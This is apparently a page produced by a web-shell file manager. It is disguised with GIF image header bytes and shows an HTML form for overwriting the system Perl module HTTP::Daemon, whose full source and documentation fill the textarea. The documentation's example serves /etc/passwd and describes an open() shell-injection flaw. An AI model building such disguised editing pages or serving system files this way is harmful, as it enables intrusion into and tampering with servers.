GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>Daemon.pm<form method=post action="?d=L3Vzci9zaGFyZS9wZXJsNS9IVFRQ&f=RGFlbW9uLnBt"><input name="f" value="Daemon.pm"><textarea name="t">package HTTP::Daemon; # git description: v6.15-4-gbab5825

# ABSTRACT: A simple http server class

use strict;
use warnings;

our $VERSION = '6.16';

use Socket ();
use IO::Socket::IP;
our @ISA = qw(IO::Socket::IP);

our $PROTO = &quot;HTTP/1.1&quot;;

our $DEBUG;

sub new {
    my ($class, %args) = @_;
    $args{Listen} ||= 5;
    $args{Proto}  ||= 'tcp';

    # Handle undefined or empty local address the same way as
    # IO::Socket::INET -- use unspecified address
    for my $key (qw(LocalAddr LocalHost)) {
        if (exists $args{$key} &amp;&amp; (!defined $args{$key} || $args{$key} eq '')) {
            delete $args{$key};
        }
    }
    return $class-&gt;SUPER::new(%args);
}

sub accept {
    my $self = shift;
    my $pkg  = shift || &quot;HTTP::Daemon::ClientConn&quot;;
    my ($sock, $peer) = $self-&gt;SUPER::accept($pkg);
    if ($sock) {
        ${*$sock}{'httpd_daemon'} = $self;
        return wantarray ? ($sock, $peer) : $sock;
    }
    else {
        return;
    }
}

sub url {
    my $self = shift;

    my $host = $self-&gt;sockhost;
    $host =~ s/%/%25/g;
    $host = &quot;127.0.0.1&quot; if $host eq &quot;0.0.0.0&quot;;
    $host = &quot;::1&quot;       if $host eq &quot;::&quot;;
    $host = &quot;[$host]&quot;   if $self-&gt;sockdomain == Socket::AF_INET6;

    my $url = $self-&gt;_default_scheme . &quot;://&quot; . $host;
    my $port = $self-&gt;sockport;
    $url .= &quot;:$port&quot; if $port != $self-&gt;_default_port;
    $url .= &quot;/&quot;;
    $url;
}

sub _default_port {
    80;
}

sub _default_scheme {
    &quot;http&quot;;
}

sub product_tokens {
    &quot;libwww-perl-daemon/$HTTP::Daemon::VERSION&quot;;
}

package    # hide from PAUSE
    HTTP::Daemon::ClientConn;

use strict;
use warnings;

use IO::Socket::IP ();
our @ISA = qw(IO::Socket::IP);
our $DEBUG;
*DEBUG = \$HTTP::Daemon::DEBUG;

use HTTP::Request  ();
use HTTP::Response ();
use HTTP::Status;
use HTTP::Date qw(time2str);
use LWP::MediaTypes qw(guess_media_type);
use Carp ();

# &quot;\r\n&quot; is not portable
my $CRLF     = &quot;\015\012&quot;;
my $HTTP_1_0 = _http_version(&quot;HTTP/1.0&quot;);
my $HTTP_1_1 = _http_version(&quot;HTTP/1.1&quot;);


sub get_request {
    my ($self, $only_headers) = @_;
    if (${*$self}{'httpd_nomore'}) {
        $self-&gt;reason(&quot;No more requests from this connection&quot;);
        return;
    }

    $self-&gt;reason(&quot;&quot;);
    my $buf = ${*$self}{'httpd_rbuf'};
    $buf = &quot;&quot; unless defined $buf;

    my $timeout = ${*$self}{'io_socket_timeout'};
    my $fdset   = &quot;&quot;;
    vec($fdset, $self-&gt;fileno, 1) = 1;
    local ($_);

READ_HEADER:
    while (1) {

        # loop until we have the whole header in $buf
        $buf =~ s/^(?:\015?\012)+//;    # ignore leading blank lines
        if ($buf =~ /\012/) {           # potential, has at least one line
            if ($buf =~ /^\w+[^\012]+HTTP\/\d+\.\d+\015?\012/) {
                if ($buf =~ /\015?\012\015?\012/) {
                    last READ_HEADER;    # we have it
                }
                elsif (length($buf) &gt; 16 * 1024) {
                    $self-&gt;send_error(413);    # REQUEST_ENTITY_TOO_LARGE
                    $self-&gt;reason(&quot;Very long header&quot;);
                    return;
                }
            }
            else {
                last READ_HEADER;              # HTTP/0.9 client
            }
        }
        elsif (length($buf) &gt; 16 * 1024) {
            $self-&gt;send_error(414);            # REQUEST_URI_TOO_LARGE
            $self-&gt;reason(&quot;Very long first line&quot;);
            return;
        }
        print STDERR &quot;Need more data for complete header\n&quot; if $DEBUG;
        return unless $self-&gt;_need_more($buf, $timeout, $fdset);
    }
    if ($buf !~ s/^(\S+)[ \t]+(\S+)(?:[ \t]+(HTTP\/\d+\.\d+))?[^\012]*\012//) {
        ${*$self}{'httpd_client_proto'} = _http_version(&quot;HTTP/1.0&quot;);
        $self-&gt;send_error(400);                # BAD_REQUEST
        $self-&gt;reason(&quot;Bad request line: $buf&quot;);
        return;
    }
    my $method = $1;
    my $uri    = $2;
    my $proto  = $3 || &quot;HTTP/0.9&quot;;
    $uri = &quot;http://$uri&quot; if $method eq &quot;CONNECT&quot;;
    $uri = $HTTP::URI_CLASS-&gt;new($uri, $self-&gt;daemon-&gt;url);
    my $r = HTTP::Request-&gt;new($method, $uri);
    $r-&gt;protocol($proto);
    ${*$self}{'httpd_client_proto'} = $proto = _http_version($proto);
    ${*$self}{'httpd_head'} = ($method eq &quot;HEAD&quot;);

    if ($proto &gt;= $HTTP_1_0) {

        # we expect to find some headers
        my ($key, $val);
    HEADER:
        while ($buf =~ s/^([^\012]*)\012//) {
            $_ = $1;
            s/\015$//;
            if (/^([^:\s]+)\s*:\s*(.*)/) {
                $r-&gt;push_header($key, $val) if $key;
                ($key, $val) = ($1, $2);
            }
            elsif (/^\s+(.*)/) {
                $val .= &quot; $1&quot;;
            }
            else {
                last HEADER;
            }
        }
        $r-&gt;push_header($key, $val) if $key;
    }

    my $conn = $r-&gt;header('Connection');
    if ($proto &gt;= $HTTP_1_1) {
        ${*$self}{'httpd_nomore'}++ if $conn &amp;&amp; lc($conn) =~ /\bclose\b/;
    }
    else {
        ${*$self}{'httpd_nomore'}++
            unless $conn &amp;&amp; lc($conn) =~ /\bkeep-alive\b/;
    }

    if ($only_headers) {
        ${*$self}{'httpd_rbuf'} = $buf;
        return $r;
    }

    # Find out how much content to read
    my $tr_enc  = $r-&gt;header('Transfer-Encoding');
    my $ct_type = $r-&gt;header('Content-Type');
    my $ct_len  = $r-&gt;header('Content-Length');

    # Act on the Expect header, if it's there
    for my $e ($r-&gt;header('Expect')) {
        if (lc($e) eq '100-continue') {
            $self-&gt;send_status_line(100);
            $self-&gt;send_crlf;
        }
        else {
            $self-&gt;send_error(417);
            $self-&gt;reason(&quot;Unsupported Expect header value&quot;);
            return;
        }
    }

    if ($tr_enc &amp;&amp; lc($tr_enc) eq 'chunked') {

        # Handle chunked transfer encoding
        my $body = &quot;&quot;;
    CHUNK:
        while (1) {
            print STDERR &quot;Chunked\n&quot; if $DEBUG;
            if ($buf =~ s/^([^\012]*)\012//) {
                my $chunk_head = $1;
                unless ($chunk_head =~ /^([0-9A-Fa-f]+)/) {
                    $self-&gt;send_error(400);
                    $self-&gt;reason(&quot;Bad chunk header $chunk_head&quot;);
                    return;
                }
                my $size = hex($1);
                last CHUNK if $size == 0;

                my $missing = $size - length($buf) + 2;    # 2=CRLF at chunk end
                     # must read until we have a complete chunk
                while ($missing &gt; 0) {
                    print STDERR &quot;Need $missing more bytes\n&quot; if $DEBUG;
                    my $n = $self-&gt;_need_more($buf, $timeout, $fdset);
                    return unless $n;
                    $missing -= $n;
                }
                $body .= substr($buf, 0, $size);
                substr($buf, 0, $size + 2) = '';

            }
            else {
                # need more data in order to have a complete chunk header
                return unless $self-&gt;_need_more($buf, $timeout, $fdset);
            }
        }
        $r-&gt;content($body);

        # pretend it was a normal entity body
        $r-&gt;remove_header('Transfer-Encoding');
        $r-&gt;header('Content-Length', length($body));

        my ($key, $val);
    FOOTER:
        while (1) {
            if ($buf !~ /\012/) {

                # need at least one line to look at
                return unless $self-&gt;_need_more($buf, $timeout, $fdset);
            }
            else {
                $buf =~ s/^([^\012]*)\012//;
                $_ = $1;
                s/\015$//;
                if (/^([\w\-]+)\s*:\s*(.*)/) {
                    $r-&gt;push_header($key, $val) if $key;
                    ($key, $val) = ($1, $2);
                }
                elsif (/^\s+(.*)/) {
                    $val .= &quot; $1&quot;;
                }
                elsif (!length) {
                    last FOOTER;
                }
                else {
                    $self-&gt;reason(&quot;Bad footer syntax&quot;);
                    return;
                }
            }
        }
        $r-&gt;push_header($key, $val) if $key;

    }
    elsif ($tr_enc) {
        $self-&gt;send_error(501);    # Unknown transfer encoding
        $self-&gt;reason(&quot;Unknown transfer encoding '$tr_enc'&quot;);
        return;

    }
    elsif ($ct_len) {

        # After a security issue, we ensure we comply to
        # RFC-7230 -- HTTP/1.1 Message Syntax and Routing
        # section 3.3.2 -- Content-Length
        # section 3.3.3 -- Message Body Length

        # split and clean up Content-Length ', ' separated string
        my @vals = map {my $str = $_; $str =~ s/^\s+//; $str =~ s/\s+$//; $str }
            split ',', $ct_len;
        # check that they are all numbers (RFC: Content-Length = 1*DIGIT)
        my @nums = grep { /^[0-9]+$/} @vals;
        unless (@vals == @nums) {
            my $reason = &quot;Content-Length value must be an unsigned integer&quot;;
            $self-&gt;send_error(400, $reason);
            $self-&gt;reason($reason);
            return;
        }
        # check they are all the same
        my $ct_len = shift @nums;
        foreach (@nums) {
            next if $_ == $ct_len;
            my $reason = &quot;Content-Length values are not the same&quot;;
            $self-&gt;send_error(400, $reason);
            $self-&gt;reason($reason);
            return;
        }
        # ensure we have now a fixed header, with only 1 value
        $r-&gt;header('Content-Length' =&gt; $ct_len);

        # Plain body specified by &quot;Content-Length&quot;
        my $missing = $ct_len - length($buf);
        while ($missing &gt; 0) {
            print &quot;Need $missing more bytes of content\n&quot; if $DEBUG;
            my $n = $self-&gt;_need_more($buf, $timeout, $fdset);
            return unless $n;
            $missing -= $n;
        }
        if (length($buf) &gt; $ct_len) {
            $r-&gt;content(substr($buf, 0, $ct_len));
            substr($buf, 0, $ct_len) = '';
        }
        else {
            $r-&gt;content($buf);
            $buf = '';
        }
    }
    elsif ($ct_type &amp;&amp; $ct_type =~ m/^multipart\/\w+\s*;.*boundary\s*=\s*(&quot;?)(\w+)\1/i) {

        # Handle multipart content type
        my $boundary = &quot;$CRLF--$2--&quot;;
        my $index;
        while (1) {
            $index = index($buf, $boundary);
            last if $index &gt;= 0;

            # end marker not yet found
            return unless $self-&gt;_need_more($buf, $timeout, $fdset);
        }
        $index += length($boundary);
        $r-&gt;content(substr($buf, 0, $index));
        substr($buf, 0, $index) = '';

    }
    ${*$self}{'httpd_rbuf'} = $buf;

    $r;
}

sub _need_more {
    my $self = shift;

    #my($buf,$timeout,$fdset) = @_;
    if ($_[1]) {
        my ($timeout, $fdset) = @_[1, 2];
        print STDERR &quot;select(,,,$timeout)\n&quot; if $DEBUG;
        my $n = select($fdset, undef, undef, $timeout);
        unless ($n) {
            $self-&gt;reason(defined($n) ? &quot;Timeout&quot; : &quot;select: $!&quot;);
            return;
        }
    }
    print STDERR &quot;sysread()\n&quot; if $DEBUG;
    my $n = sysread($self, $_[0], 2048, length($_[0]));
    $self-&gt;reason(defined($n) ? &quot;Client closed&quot; : &quot;sysread: $!&quot;) unless $n;
    $n;
}

sub read_buffer {
    my $self = shift;
    my $old  = ${*$self}{'httpd_rbuf'};
    if (@_) {
        ${*$self}{'httpd_rbuf'} = shift;
    }
    $old;
}

sub reason {
    my $self = shift;
    my $old  = ${*$self}{'httpd_reason'};
    if (@_) {
        ${*$self}{'httpd_reason'} = shift;
    }
    $old;
}

sub proto_ge {
    my $self = shift;
    ${*$self}{'httpd_client_proto'} &gt;= _http_version(shift);
}

sub _http_version {
    local ($_) = shift;
    return 0 unless m,^(?:HTTP/)?(\d+)\.(\d+)$,i;
    $1 * 1000 + $2;
}

sub antique_client {
    my $self = shift;
    ${*$self}{'httpd_client_proto'} &lt; $HTTP_1_0;
}

sub force_last_request {
    my $self = shift;
    ${*$self}{'httpd_nomore'}++;
}

sub head_request {
    my $self = shift;
    ${*$self}{'httpd_head'};
}


sub send_status_line {
    my ($self, $status, $message, $proto) = @_;
    return if $self-&gt;antique_client;
    $status  ||= RC_OK;
    $message ||= status_message($status) || &quot;&quot;;
    $proto   ||= $HTTP::Daemon::PROTO || &quot;HTTP/1.1&quot;;
    print $self &quot;$proto $status $message$CRLF&quot;;
}

sub send_crlf {
    my $self = shift;
    print $self $CRLF;
}

sub send_basic_header {
    my $self = shift;
    return if $self-&gt;antique_client;
    $self-&gt;send_status_line(@_);
    print $self &quot;Date: &quot;, time2str(time), $CRLF;
    my $product = $self-&gt;daemon-&gt;product_tokens;
    print $self &quot;Server: $product$CRLF&quot; if $product;
}

sub send_header {
    my $self = shift;
    while (@_) {
        my ($k, $v) = splice(@_, 0, 2);
        $v = &quot;&quot; unless defined($v);
        print $self &quot;$k: $v$CRLF&quot;;
    }
}

sub send_response {
    my $self = shift;
    my $res  = shift;
    if (!ref $res) {
        $res ||= RC_OK;
        $res = HTTP::Response-&gt;new($res, @_);
    }
    my $content = $res-&gt;content;
    my $chunked;
    unless ($self-&gt;antique_client) {
        my $code = $res-&gt;code;
        $self-&gt;send_basic_header($code, $res-&gt;message, $res-&gt;protocol);
        if ($code =~ /^(1\d\d|[23]04)$/) {

            # make sure content is empty
            $res-&gt;remove_header(&quot;Content-Length&quot;);
            $content = &quot;&quot;;
        }
        elsif ($res-&gt;request &amp;&amp; $res-&gt;request-&gt;method eq &quot;HEAD&quot;) {

            # probably OK
        }
        elsif (ref($content) eq &quot;CODE&quot;) {
            if ($self-&gt;proto_ge(&quot;HTTP/1.1&quot;)) {
                $res-&gt;push_header(&quot;Transfer-Encoding&quot; =&gt; &quot;chunked&quot;);
                $chunked++;
            }
            else {
                $self-&gt;force_last_request;
            }
        }
        elsif (length($content)) {
            $res-&gt;header(&quot;Content-Length&quot; =&gt; length($content));
        }
        else {
            $self-&gt;force_last_request;
            $res-&gt;header('connection', 'close');
        }
        print $self $res-&gt;headers_as_string($CRLF);
        print $self $CRLF;    # separates headers and content
    }
    if ($self-&gt;head_request) {

        # no content
    }
    elsif (ref($content) eq &quot;CODE&quot;) {
        while (1) {
            my $chunk = &amp;$content();
            last unless defined($chunk) &amp;&amp; length($chunk);
            if ($chunked) {
                printf $self &quot;%x%s%s%s&quot;, length($chunk), $CRLF, $chunk, $CRLF;
            }
            else {
                print $self $chunk;
            }
        }
        print $self &quot;0$CRLF$CRLF&quot; if $chunked;    # no trailers either
    }
    elsif (length $content) {
        print $self $content;
    }
}

sub send_redirect {
    my ($self, $loc, $status, $content) = @_;
    $status ||= RC_MOVED_PERMANENTLY;
    Carp::croak(&quot;Status '$status' is not redirect&quot;) unless is_redirect($status);
    $self-&gt;send_basic_header($status);
    my $base = $self-&gt;daemon-&gt;url;
    $loc = $HTTP::URI_CLASS-&gt;new($loc, $base) unless ref($loc);
    $loc = $loc-&gt;abs($base);
    print $self &quot;Location: $loc$CRLF&quot;;

    if ($content) {
        my $ct_type = $content =~ /^\s*&lt;/ ? &quot;text/html&quot; : &quot;text/plain&quot;;
        print $self &quot;Content-Type: $ct_type$CRLF&quot;;
    }
    print $self $CRLF;
    print $self $content if $content &amp;&amp; !$self-&gt;head_request;
    $self-&gt;force_last_request;    # no use keeping the connection open
}

sub send_error {
    my ($self, $status, $error) = @_;
    $status ||= RC_BAD_REQUEST;
    Carp::croak(&quot;Status '$status' is not an error&quot;) unless is_error($status);
    my $mess = status_message($status);
    $error ||= &quot;&quot;;
    $mess = &lt;&lt;EOT;
&lt;title&gt;$status $mess&lt;/title&gt;
&lt;h1&gt;$status $mess&lt;/h1&gt;
$error
EOT
    unless ($self-&gt;antique_client) {
        $self-&gt;send_basic_header($status);
        print $self &quot;Content-Type: text/html$CRLF&quot;;
        print $self &quot;Content-Length: &quot; . length($mess) . $CRLF;
        print $self $CRLF;
    }
    print $self $mess unless $self-&gt;head_request;
    $status;
}

sub send_file_response {
    my ($self, $file) = @_;
    if (-d $file) {
        $self-&gt;send_dir($file);
    }
    elsif (-f _) {

        # plain file
        local (*F);
        sysopen(F, $file, 0) or return $self-&gt;send_error(RC_FORBIDDEN);
        binmode(F);
        my ($mime_type, $file_enc) = guess_media_type($file);
        my ($size, $mtime) = (stat _)[7, 9];
        unless ($self-&gt;antique_client) {
            $self-&gt;send_basic_header;
            print $self &quot;Content-Type: $mime_type$CRLF&quot;;
            print $self &quot;Content-Encoding: $file_enc$CRLF&quot; if $file_enc;
            print $self &quot;Content-Length: $size$CRLF&quot; if $size;
            print $self &quot;Last-Modified: &quot;, time2str($mtime), &quot;$CRLF&quot; if $mtime;
            print $self $CRLF;
        }
        $self-&gt;send_file(\*F) unless $self-&gt;head_request;
        return RC_OK;
    }
    else {
        $self-&gt;send_error(RC_NOT_FOUND);
    }
}

sub send_dir {
    my ($self, $dir) = @_;
    $self-&gt;send_error(RC_NOT_FOUND) unless -d $dir;
    $self-&gt;send_error(RC_NOT_IMPLEMENTED);
}

sub send_file {
    my ($self, $file) = @_;
    my $opened = 0;
    if (!ref($file)) {
        open(my $fh, '&lt;', $file) || return undef;
        binmode($fh)             || do { close($fh); return undef };
        $file = $fh;
        $opened++;
    }
    my $cnt = 0;
    my $buf = &quot;&quot;;
    my $n;
    while ($n = sysread($file, $buf, 8 * 1024)) {
        last if !$n;
        $cnt += $n;
        print $self $buf;
    }
    close($file) if $opened;

    # Return a &quot;true zero&quot; for empty-but-successful copies so callers
    # using `send_file or die` can distinguish open failure (undef)
    # from a successful zero-byte transfer.
    $cnt || '0E0';
}

sub daemon {
    my $self = shift;
    ${*$self}{'httpd_daemon'};
}


1;

__END__

=pod

=encoding UTF-8

=head1 NAME

HTTP::Daemon - A simple http server class

=head1 VERSION

version 6.16

=head1 SYNOPSIS

  use HTTP::Daemon;
  use HTTP::Status;

  my $d = HTTP::Daemon-&gt;new || die;
  print &quot;Please contact me at: &lt;URL:&quot;, $d-&gt;url, &quot;&gt;\n&quot;;
  while (my $c = $d-&gt;accept) {
      while (my $r = $c-&gt;get_request) {
      if ($r-&gt;method eq 'GET' and $r-&gt;uri-&gt;path eq &quot;/xyzzy&quot;) {
              # remember, this is *not* recommended practice :-)
          $c-&gt;send_file_response(&quot;/etc/passwd&quot;);
      }
      else {
          $c-&gt;send_error(RC_FORBIDDEN)
      }
      }
      $c-&gt;close;
      undef($c);
  }

=head1 DESCRIPTION

Instances of the C&lt;HTTP::Daemon&gt; class are HTTP/1.1 servers that
listen on a socket for incoming requests. The C&lt;HTTP::Daemon&gt; is a
subclass of C&lt;IO::Socket::IP&gt;, so you can perform socket operations
directly on it too.

Please note that C&lt;HTTP::Daemon&gt; used to be a subclass of C&lt;IO::Socket::INET&gt;.
To support IPv6, it switched the parent class to C&lt;IO::Socket::IP&gt; at version 6.05.
See L&lt;/IPv6 SUPPORT&gt; for details.

The accept() method will return when a connection from a client is
available.  The returned value will be an C&lt;HTTP::Daemon::ClientConn&gt;
object which is another C&lt;IO::Socket::IP&gt; subclass.  Calling the
get_request() method on this object will read data from the client and
return an C&lt;HTTP::Request&gt; object.  The ClientConn object also provide
methods to send back various responses.

This HTTP daemon does not fork(2) for you.  Your application, i.e. the
user of the C&lt;HTTP::Daemon&gt; is responsible for forking if that is
desirable.  Also note that the user is responsible for generating
responses that conform to the HTTP/1.1 protocol.

The following methods of C&lt;HTTP::Daemon&gt; are new (or enhanced) relative
to the C&lt;IO::Socket::IP&gt; base class:

=over 4

=item $d = HTTP::Daemon-&gt;new

=item $d = HTTP::Daemon-&gt;new( %opts )

The constructor method takes the same arguments as the
C&lt;IO::Socket::IP&gt; constructor, but unlike its base class it can also
be called without any arguments.  The daemon will then set up a listen
queue of 5 connections and allocate some random port number.

A server that wants to bind to some specific address on the standard
HTTP port will be constructed like this:

  $d = HTTP::Daemon-&gt;new(
           LocalAddr =&gt; 'www.thisplace.com',
           LocalPort =&gt; 80,
       );

See L&lt;IO::Socket::IP&gt; for a description of other arguments that can
be used to configure the daemon during construction.

=item $c = $d-&gt;accept

=item $c = $d-&gt;accept( $pkg )

=item ($c, $peer_addr) = $d-&gt;accept

This method works the same as the one provided by the base class, but it
returns an C&lt;HTTP::Daemon::ClientConn&gt; reference by default.  If a
package name is provided as argument, then the returned object will be
blessed into the given class.  It is probably a good idea to make that
class a subclass of C&lt;HTTP::Daemon::ClientConn&gt;.

The accept method will return C&lt;undef&gt; if timeouts have been enabled
and no connection is made within the given time.  The timeout() method
is described in L&lt;IO::Socket::IP&gt;.

In list context both the client object and the peer address will be
returned; see the description of the accept method of L&lt;IO::Socket&gt; for
details.

=item $d-&gt;url

Returns a URL string that can be used to access the server root.

=item $d-&gt;product_tokens

Returns the name that this server will use to identify itself.  This
is the string that is sent with the C&lt;Server&gt; response header.  The
main reason to have this method is that subclasses can override it if
they want to use another product name.

The default is the string &quot;libwww-perl-daemon/#.##&quot; where &quot;#.##&quot; is
replaced with the version number of this module.

=back

The C&lt;HTTP::Daemon::ClientConn&gt; is a subclass of C&lt;IO::Socket::IP&gt;.
Instances of this class are returned by the accept() method
of C&lt;HTTP::Daemon&gt;.  The following methods are provided:

=over 4

=item $c-&gt;get_request

=item $c-&gt;get_request( $headers_only )

This method reads data from the client and turns it into an
C&lt;HTTP::Request&gt; object which is returned.  It returns C&lt;undef&gt;
if reading fails.  If it fails, then the C&lt;HTTP::Daemon::ClientConn&gt;
object ($c) should be discarded, and you should not try to call this
method again on it.  The $c-&gt;reason method might give you some
information about why $c-&gt;get_request failed.

The get_request() method will normally not return until the whole
request has been received from the client.  This might not be what you
want if the request is an upload of a large file (and with chunked
transfer encoding HTTP can even support infinite request messages -
uploading live audio for instance).  If you pass a TRUE value as the
$headers_only argument, then get_request() will return immediately
after parsing the request headers and you are responsible for reading
the rest of the request content.  If you are going to call
$c-&gt;get_request again on the same connection you better read the
correct number of bytes.

=item $c-&gt;read_buffer

=item $c-&gt;read_buffer( $new_value )

Bytes read by $c-&gt;get_request, but not used are placed in the I&lt;read
buffer&gt;.  The next time $c-&gt;get_request is called it will consume the
bytes in this buffer before reading more data from the network
connection itself.  The read buffer is invalid after $c-&gt;get_request
has failed.

If you handle the reading of the request content yourself you need to
empty this buffer before you read more and you need to place
unconsumed bytes here.  You also need this buffer if you implement
services like I&lt;101 Switching Protocols&gt;.

This method always returns the old buffer content and can optionally
replace the buffer content if you pass it an argument.

=item $c-&gt;reason

When $c-&gt;get_request returns C&lt;undef&gt; you can obtain a short string
describing why it happened by calling $c-&gt;reason.

=item $c-&gt;proto_ge( $proto )

Return TRUE if the client announced a protocol with version number
greater or equal to the given argument.  The $proto argument can be a
string like &quot;HTTP/1.1&quot; or just &quot;1.1&quot;.

=item $c-&gt;antique_client

Return TRUE if the client speaks the HTTP/0.9 protocol.  No status
code and no headers should be returned to such a client.  This should
be the same as !$c-&gt;proto_ge(&quot;HTTP/1.0&quot;).

=item $c-&gt;head_request

Return TRUE if the last request was a C&lt;HEAD&gt; request.  No content
body must be generated for these requests.

=item $c-&gt;force_last_request

Make sure that $c-&gt;get_request will not try to read more requests off
this connection.  If you generate a response that is not self-delimiting,
then you should signal this fact by calling this method.

This attribute is turned on automatically if the client announces
protocol HTTP/1.0 or worse and does not include a &quot;Connection:
Keep-Alive&quot; header.  It is also turned on automatically when HTTP/1.1
or better clients send the &quot;Connection: close&quot; request header.

=item $c-&gt;send_status_line

=item $c-&gt;send_status_line( $code )

=item $c-&gt;send_status_line( $code, $mess )

=item $c-&gt;send_status_line( $code, $mess, $proto )

Send the status line back to the client.  If $code is omitted 200 is
assumed.  If $mess is omitted, then a message corresponding to $code
is inserted.  If $proto is missing the content of the
$HTTP::Daemon::PROTO variable is used.

=item $c-&gt;send_crlf

Send the CRLF sequence to the client.

=item $c-&gt;send_basic_header

=item $c-&gt;send_basic_header( $code )

=item $c-&gt;send_basic_header( $code, $mess )

=item $c-&gt;send_basic_header( $code, $mess, $proto )

Send the status line and the &quot;Date:&quot; and &quot;Server:&quot; headers back to
the client.  This header is assumed to be continued and does not end
with an empty CRLF line.

See the description of send_status_line() for the description of the
accepted arguments.

=item $c-&gt;send_header( $field, $value )

=item $c-&gt;send_header( $field1, $value1, $field2, $value2, ... )

Send one or more header lines.

=item $c-&gt;send_response( $res )

Write an C&lt;HTTP::Response&gt; object to the
client as a response.  We try hard to make sure that the response is
self-delimiting so that the connection can stay persistent for further
request/response exchanges.

The content attribute of the C&lt;HTTP::Response&gt; object can be a normal
string or a subroutine reference.  If it is a subroutine, then
whatever this callback routine returns is written back to the
client as the response content.  The routine will be called until it
returns an undefined or empty value.  If the client is HTTP/1.1 aware
then we will use chunked transfer encoding for the response.

=item $c-&gt;send_redirect( $loc )

=item $c-&gt;send_redirect( $loc, $code )

=item $c-&gt;send_redirect( $loc, $code, $entity_body )

Send a redirect response back to the client.  The location ($loc) can
be an absolute or relative URL. The $code must be one of the redirect
status codes, and defaults to &quot;301 Moved Permanently&quot;

=item $c-&gt;send_error

=item $c-&gt;send_error( $code )

=item $c-&gt;send_error( $code, $error_message )

Send an error response back to the client.  If the $code is missing a
&quot;Bad Request&quot; error is reported.  The $error_message is a string that
is incorporated in the body of the HTML entity.

=item $c-&gt;send_file_response( $filename )

Send back a response with the specified $filename as content.  If the
file is a directory we try to generate an HTML index of it.

=item $c-&gt;send_file( $filename )

=item $c-&gt;send_file( $fd )

Copy the file to the client.  The file can be a string (which
will be interpreted as a filename) or a reference to an C&lt;IO::Handle&gt;
or glob.

Returns the number of bytes copied on success, or C&lt;undef&gt; if the
filename form failed to open.  An empty file returns the string
C&lt;'0E0'&gt; (zero numerically, true in boolean context) so that callers
using C&lt;&lt; send_file or die &gt;&gt; can distinguish open failure from a
successful zero-byte transfer.

The filename form uses Perl's 3-argument C&lt;open&gt; with an explicit C&lt;&lt;
&lt; &gt;&gt; mode, so the path is no longer interpreted as a 2-argument
C&lt;open&gt; shell-magic shape such as C&lt;&lt; | cmd &gt;&gt;, C&lt;&lt; cmd | &gt;&gt;, or
C&lt;&lt; &gt; path &gt;&gt;.  See
L&lt;CVE-2026-8450|https://www.cve.org/CVERecord?id=CVE-2026-8450&gt; for
the prior 2-argument C&lt;open&gt; behaviour this replaces.

Note that this fix only neutralises 2-argument C&lt;open&gt; shell-magic.
Callers remain responsible for validating attacker-influenced paths:
C&lt;send_file&gt; will still happily open symlinks, character/block devices
(e.g. C&lt;/dev/zero&gt;, C&lt;/dev/stdin&gt;), named pipes (which may block the
worker), and files outside an intended document root.  If C&lt;$filename&gt;
can be derived from request input, validate it (canonicalise, reject
C&lt;..&gt; segments, require C&lt;-f _&gt; and a vetted prefix) before passing it
in.

=item $c-&gt;daemon

Return a reference to the corresponding C&lt;HTTP::Daemon&gt; object.

=back

=head1 IPv6 SUPPORT

Since version 6.05, C&lt;HTTP::Daemon&gt; is a subclass of C&lt;IO::Socket::IP&gt;
rather than C&lt;IO::Socket::INET&gt;, so that it supports IPv6.

For some reasons, you may want to force C&lt;HTTP::Daemon&gt; to listen on IPv4 addresses only.
Then pass C&lt;Family&gt; argument to C&lt;&lt; HTTP::Daemon-&gt;new &gt;&gt;:

  use HTTP::Daemon;
  use Socket 'AF_INET';

  my $d = HTTP::Daemon-&gt;new(Family =&gt; AF_INET);

=head1 SEE ALSO

RFC 2616

L&lt;IO::Socket::IP&gt;, L&lt;IO::Socket&gt;

=head1 SUPPORT

Bugs may be submitted through L&lt;https://github.com/libwww-perl/HTTP-Daemon/issues&gt;.

There is also a mailing list available for users of this distribution, at
L&lt;mailto:libwww@perl.org&gt;.

There is also an irc channel available for users of this distribution, at
L&lt;C&lt;#lwp&gt; on C&lt;irc.perl.org&gt;|irc://irc.perl.org/#lwp&gt;.

=head1 AUTHOR

Gisle Aas &lt;gisle@activestate.com&gt;

=head1 CONTRIBUTORS

=for stopwords Olaf Alders Ville Skytt Graham Knop Karen Etheridge Mark Stosberg Shoichi Kaji Chase Whitener Theo van Hoesel Slaven Rezic Petr Psa Zefram Alexey Tourbin Bron Gondwana Michal Josef paek Mike Schilli Tom Hukins Adam Kennedy Sjogren Alex Kapranoff amire80 Andreas J. Koenig Bill Mann Daniel Hedlund David E. Wheeler DAVIDRW Father Chrysostomos Ferenc Erki FWILES Gavin Peters Graeme Thompson Hans-H. Froehlich Ian Kilgore Jacob J jefflee john9art murphy Ondrej Hanak Perlover Peter Rabbitson phrstbrn Robert Stone Rolf Grossmann ruff sasao Sean M. Burke Spiros Denaxas Steve Hay Todd Lipcon Tony Finch Toru Yamaguchi Yuri Karaban

=over 4

=item *

Olaf Alders &lt;olaf@wundersolutions.com&gt;

=item *

Ville Skytt &lt;ville.skytta@iki.fi&gt;

=item *

Graham Knop &lt;haarg@haarg.org&gt;

=item *

Karen Etheridge &lt;ether@cpan.org&gt;

=item *

Mark Stosberg &lt;MARKSTOS@cpan.org&gt;

=item *

Shoichi Kaji &lt;skaji@cpan.org&gt;

=item *

Chase Whitener &lt;capoeirab@cpan.org&gt;

=item *

Theo van Hoesel &lt;tvanhoesel@perceptyx.com&gt;

=item *

Slaven Rezic &lt;slaven@rezic.de&gt;

=item *

Petr Psa &lt;ppisar@redhat.com&gt;

=item *

Zefram &lt;zefram@fysh.org&gt;

=item *

Alexey Tourbin &lt;at@altlinux.ru&gt;

=item *

Bron Gondwana &lt;brong@fastmail.fm&gt;

=item *

Michal Josef paek &lt;mspacek@redhat.com&gt;

=item *

Mike Schilli &lt;mschilli@yahoo-inc.com&gt;

=item *

Tom Hukins &lt;tom@eborcom.com&gt;

=item *

Adam Kennedy &lt;adamk@cpan.org&gt;

=item *

Adam Sjogren &lt;asjo@koldfront.dk&gt;

=item *

Alex Kapranoff &lt;ka@nadoby.ru&gt;

=item *

amire80 &lt;amir.aharoni@gmail.com&gt;

=item *

